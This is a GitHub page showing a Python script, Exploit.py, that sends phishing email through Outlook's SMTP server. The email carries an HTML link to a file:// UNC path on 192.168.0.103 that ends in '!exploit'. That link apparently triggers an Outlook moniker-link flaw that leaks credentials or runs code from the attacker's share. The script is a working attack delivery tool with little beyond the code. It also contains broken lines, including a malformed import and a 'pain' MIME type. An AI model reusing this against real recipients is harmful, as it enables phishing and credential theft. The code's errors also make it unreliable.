-
Notifications
You must be signed in to change notification settings - Fork 0
/
Exploit.py
50 lines (43 loc) · 1.78 KB
/
Exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import smtplib
from email.mime multipart import MIMEMultipart
from email.mime.text import MIMEText
import getpass
def send_email():
# Get user input for sender's email address and password
sender_email = input("Enter your Outlook email address:")
sender_password = getpass.getpass("Enter your outlook email password:")
# Get user input for receiver's email address
receiver_email = input("Email the recipient's email address:")
# Create a new message object
msg = MIMEMultipart()
# Add sender, receiver and subject to the message
msg['From'] = sender_email
msg['To'] = receiver_email
msg['subject'] = input("Enter email subject:")
# Ask user if they want to add a link attachment
add_attachment = input("Do you want to add a link attachment? (Yes/No):").lower()
if add_attachment == 'yes':
html_content = """\
<!DOCTYPE html>
<html lang="en">
<body>
<p><a href="file://///192.168.0.103/test!exploit">CLICK_HERE</a></p>
</body>
</html>"""
msg.attach(MIMEText(html_content, 'html'))
else:
body_content = input("Enter the body of the email:")
msg.attach(MIMEText(body_content, 'pain'))
# Connect to SMTP server and send email
try:
with smtplib.SMTP('smtp-mail.outlook.com', 587) as server:
server.starttls()
server.login(sender_email, sender_password)
server.send_message(msg)
print("Email sent successfully.")
except smtplib.SMTPAuthenticationError as e:
print(f"SMTP AUthentication Error: {e}")
except Exception as e:
print(f"Failed to send the email: {e}")
if __name__ == "__main__":
send_email()